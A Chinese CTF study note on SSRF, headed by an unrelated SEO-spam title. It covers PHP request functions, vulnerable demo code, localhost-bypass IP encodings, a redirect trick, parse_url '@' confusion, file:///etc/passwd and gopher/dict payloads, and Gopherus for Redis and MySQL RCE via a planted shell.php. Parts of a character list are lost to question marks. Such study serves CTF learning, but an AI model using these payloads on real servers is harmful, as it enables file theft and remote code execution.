做問卷賺錢最好似網(wǎng)站深圳關(guān)鍵詞優(yōu)化
0x01 引言
我發(fā)現(xiàn)我其實并不是很明白這個東西,有些微妙,而且記憶中也就記得Gopherus這個工具了,所以重新學(xué)習(xí)了一下,順便記錄一下吧
0x02 辨別
我們拿到一個題目,他的名字可能就是題目類型,但是也有可能是個note或者是blog等等網(wǎng)站,那么下面講一些常見的后端響應(yīng)
file_get_contents
這個函數(shù)非常常見
用于讀取文件
file_get_contents(string $filename, bool $use_include_path = false, resource $context = null, int $offset = 0, int $maxlen = -1)$filename: 必需參數(shù),指定要讀取的文件路徑。
$use_include_path: 可選參數(shù),默認(rèn)為 false。如果設(shè)為 true,則會在 PHP 的 include 路徑中搜索文件。
$context: 可選參數(shù),是一個資源類型,通常用于指定文件句柄的上下文。例如,可以用來設(shè)置 HTTP 請求頭(當(dāng)讀取遠(yuǎn)程文件時)。
$offset: 可選參數(shù),指定從文件的哪個字節(jié)開始讀取。
$maxlen: 可選參數(shù),指定要讀取的最大字節(jié)數(shù)。默認(rèn)為 -1,表示讀取到文件末尾
fsockopen()
這個東西就和python
中的socket
一樣
fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = ini_get("default_socket_timeout"))$hostname: 必需,指定要連接的主機名或 IP 地址。
$port: 可選,默認(rèn)為 -1。指定要連接的端口號。
$errno: 可選,輸出變量,用于存儲發(fā)生錯誤時的錯誤號。
$errstr: 可選,輸出變量,用于存儲發(fā)生錯誤時的錯誤信息。
$timeout: 可選,默認(rèn)使用 PHP 配置中的默認(rèn)超時設(shè)置(default_socket_timeout)。指定連接超時時間(秒)。
<?php
$a=fsockopen('ip',port);
if($a){echo 1;
}else {echo 0;
}
?>
直接就彈shell還是行
curl_exec()
成功時,返回執(zhí)行請求后得到的數(shù)據(jù),通常是服務(wù)器響應(yīng)的內(nèi)容,格式依據(jù)請求和響應(yīng)(如 HTML、JSON、圖像數(shù)據(jù)等)。 失敗時,返回
false??梢酝ㄟ^ curl_error() 獲取錯誤信息。
怎么說呢相當(dāng)于一個體系中的一個環(huán)節(jié)?然后返回響應(yīng),curl http://ceye
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0); //不要header值
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//返回數(shù)據(jù)為字符串
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>POST:
url=http://127.0.0.1/flag.php
在這里順便說說curl_setopt
curl_setopt(resource $ch, int $option, mixed $value)
$ch: 必需,由 curl_init 返回的 cURL 會話資源。
$option: 必需,要設(shè)置的選項常量。這些常量通常以 CURLOPT_ 開頭,例如 CURLOPT_URL、CURLOPT_RETURNTRANSFER 等。
$value: 必需,要賦予選項的值。這個值的類型取決于所設(shè)置的選項。很有可能是個布爾值 ,1||0
0x03 繞過
前面看那幾個函數(shù)看出來之后基本上就是技巧了
0x01 思路
首先思路要立正,我們是根據(jù)ssrf的漏洞去帶出文件內(nèi)容
所以我們傳參肯定是傳路徑,并且是本地
0x02 本地
127.0.0.1
localhost
0
0.0.0.0
127.0.0
127。0。0。1
127\.0\.0\.1
127.1
sudo.cc
0x7F000001 16進制
2130706433 十進制
0x7f.0.0.1 16進制
0177.0.0.1 八進制
???????.??? >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
0x03 vps
當(dāng)本地在后端響應(yīng)已經(jīng)被過濾完之后,我們還可以用vps進行遠(yuǎn)程
demo
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//gethostbyname這個函數(shù)根據(jù)域名返回IP
echo '</br>'.$ip.'</br>';//將獲得的IP顯示在網(wǎng)頁
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { //看ip是否為公網(wǎng)IPdie('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?>
利用header函數(shù)寫一個文件
<?php header("Location:http://127.0.0.1/flag.php")?>
然后傳參
POST:
url=http://ip/文件名
0x04 parse_url
<?php
var_dump(parse_url('https://www.example.com:8080/path/to/resource/index.html?key1=value1&key2=value2#section2'));
?>
這就是一個完整的urlarray(6) {["scheme"]=>string(5) "https"["host"]=>string(15) "www.example.com"["port"]=>int(8080)["path"]=>string(28) "/path/to/resource/index.html"["query"]=>string(23) "key1=value1&key2=value2"["fragment"]=>string(8) "section2"
}
這個函數(shù)非常便于我們?nèi)L試出正確的能繞過的url
URL 中的 @ 符號在標(biāo)準(zhǔn)的 URL 格式中具有特殊含義,它用于分隔用戶名(可選)和主機名。當(dāng) @ 出現(xiàn)在用戶名和密碼之后、主機名之前時,它用于指定訪問資源時使用的身份驗證憑據(jù)。例如:
http://ctf.@127.0.0.1/flag.php?showarray(5) {["scheme"]=>string(4) "http"["host"]=>string(9) "127.0.0.1"["user"]=>string(4) "ctf."["path"]=>string(9) "/flag.php"["query"]=>string(4) "show"
}
0x04 協(xié)議
Dict 協(xié)議dict://fuzz.wuyun.org:8080/helo:dict
Gopher 協(xié)議gopher://fuzz.wuyun.org:8080/gopher
File 協(xié)議file:///etc/passwd
有這三種,但是我還沒用過,所以暫時不分享了
不過我不知道Gopherus這個工具算不算協(xié)議
gopherus
去下載之后,配置就不說了,我記得好像是go語言的環(huán)境
下載完就是大概這個東西
然后使用方法也很簡單
mysql的
然后傳參去RCE
Redis的
默認(rèn)生成/var/www/html/shell.php
密碼是自己寫的1,然后RCE